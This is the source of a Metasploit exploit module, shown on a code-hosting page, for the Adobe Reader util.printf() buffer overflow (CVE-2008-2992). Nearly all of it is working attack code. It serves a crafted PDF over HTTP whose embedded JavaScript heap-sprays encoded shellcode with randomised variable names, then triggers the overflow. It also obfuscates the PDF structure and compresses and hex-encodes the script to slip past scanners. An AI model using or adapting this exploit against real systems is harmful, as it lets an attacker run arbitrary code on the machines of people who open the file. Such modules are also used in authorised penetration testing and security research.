Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/browser/adobe_utilprintf.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'zlib'67class MetasploitModule < Msf::Exploit::Remote8Rank = GoodRanking910include Msf::Exploit::Remote::HttpServer::HTML1112def initialize(info = {})13super(update_info(info,14'Name' => 'Adobe util.printf() Buffer Overflow',15'Description' => %q{16This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat Professional17< 8.1.3. By creating a specially crafted pdf that a contains malformed util.printf()18entry, an attacker may be able to execute arbitrary code.19},20'License' => MSF_LICENSE,21'Author' => [ 'MC', 'Didier Stevens <didier.stevens[at]gmail.com>' ],22'References' =>23[24[ 'CVE', '2008-2992' ],25[ 'OSVDB', '49520' ],26],27'DefaultOptions' =>28{29'EXITFUNC' => 'process',30},31'Payload' =>32{33'Space' => 1024,34'BadChars' => "\x00",35},36'Platform' => 'win',37'Targets' =>38[39[ 'Adobe Reader v8.1.2 (Windows XP SP3 English)', { 'Ret' => '' } ],40],41'DisclosureDate' => '2008-02-08',42'DefaultTarget' => 0))4344end4546def autofilter47false48end4950def check_dependencies51use_zlib52end5354def on_request_uri(cli, request)55return if ((p = regenerate_payload(cli)) == nil)56# Encode the shellcode.57shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))5859# Make some nops60nops = Rex::Text.to_unescape(make_nops(4))6162# Randomize variables63rand1 = rand_text_alpha(rand(100) + 1)64rand2 = rand_text_alpha(rand(100) + 1)65rand3 = rand_text_alpha(rand(100) + 1)66rand4 = rand_text_alpha(rand(100) + 1)67rand5 = rand_text_alpha(rand(100) + 1)68rand6 = rand_text_alpha(rand(100) + 1)69rand7 = rand_text_alpha(rand(100) + 1)70rand8 = rand_text_alpha(rand(100) + 1)71rand9 = rand_text_alpha(rand(100) + 1)72rand10 = rand_text_alpha(rand(100) + 1)73rand11 = rand_text_alpha(rand(100) + 1)74randnop = rand_text_alpha(rand(100) + 1)7576script = %Q|77var #{rand1} = unescape("#{shellcode}");78var #{randnop} = "#{nops}";79var #{rand2} ="";80for (#{rand3}=128;#{rand3}>=0;--#{rand3}) #{rand2} += unescape(#{randnop});81#{rand4} = #{rand2} + #{rand1};82#{rand5} = unescape("#{randnop}");83#{rand6} = 20;84#{rand7} = #{rand6}+#{rand4}.length85while (#{rand5}.length<#{rand7}) #{rand5}+=#{rand5};86#{rand8} = #{rand5}.substring(0, #{rand7});87#{rand9} = #{rand5}.substring(0, #{rand5}.length-#{rand7});88while(#{rand9}.length+#{rand7} < 0x40000) #{rand9} = #{rand9}+#{rand9}+#{rand8};89#{rand10} = new Array();90for (#{rand11}=0;#{rand11}<1450;#{rand11}++) #{rand10}[#{rand11}] = #{rand9} + #{rand4};91util.printf("%45000.45000f", 0);92|9394# Create the pdf95pdf = make_pdf(script)9697print_status("Sending #{self.name}")9899send_response(cli, pdf, { 'Content-Type' => 'application/pdf' })100101handler(cli)102103end104105def random_non_ascii_string(count)106result = ""107count.times do108result << (rand(128) + 128).chr109end110result111end112113def io_def(id)114"%d 0 obj" % id115end116117def io_ref(id)118"%d 0 R" % id119end120121#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/122def n_obfu(str)123result = ""124str.scan(/./u) do |c|125if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'126result << "#%x" % c.unpack("C*")[0]127else128result << c129end130end131result132end133134def ascii_hex_whitespace_encode(str)135result = ""136whitespace = ""137str.each_byte do |b|138result << whitespace << "%02x" % b139whitespace = " " * (rand(3) + 1)140end141result << ">"142end143144def make_pdf(js)145146xref = []147eol = "\x0d\x0a"148endobj = "endobj" << eol149150151pdf = "%PDF-1.5" << eol152pdf << "%" << random_non_ascii_string(4) << eol153xref << pdf.length154pdf << io_def(1) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(2) << n_obfu("/Pages ") << io_ref(3) << n_obfu("/OpenAction ") << io_ref(5) << ">>" << endobj155xref << pdf.length156pdf << io_def(2) << n_obfu("<</Type/Outlines/Count 0>>") << endobj157xref << pdf.length158pdf << io_def(3) << n_obfu("<</Type/Pages/Kids[") << io_ref(4) << n_obfu("]/Count 1>>") << endobj159xref << pdf.length160pdf << io_def(4) << n_obfu("<</Type/Page/Parent ") << io_ref(3) << n_obfu("/MediaBox[0 0 612 792]>>") << endobj161xref << pdf.length162pdf << io_def(5) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(6) + ">>" << endobj163xref << pdf.length164compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))165pdf << io_def(6) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol166pdf << "stream" << eol167pdf << compressed << eol168pdf << "endstream" << eol169pdf << endobj170xrefPosition = pdf.length171pdf << "xref" << eol172pdf << "0 %d" % (xref.length + 1) << eol173pdf << "0000000000 65535 f" << eol174xref.each do |index|175pdf << "%010d 00000 n" % index << eol176end177pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol178pdf << "startxref" << eol179pdf << xrefPosition.to_s() << eol180pdf << "%%EOF" << eol181182end183end184185186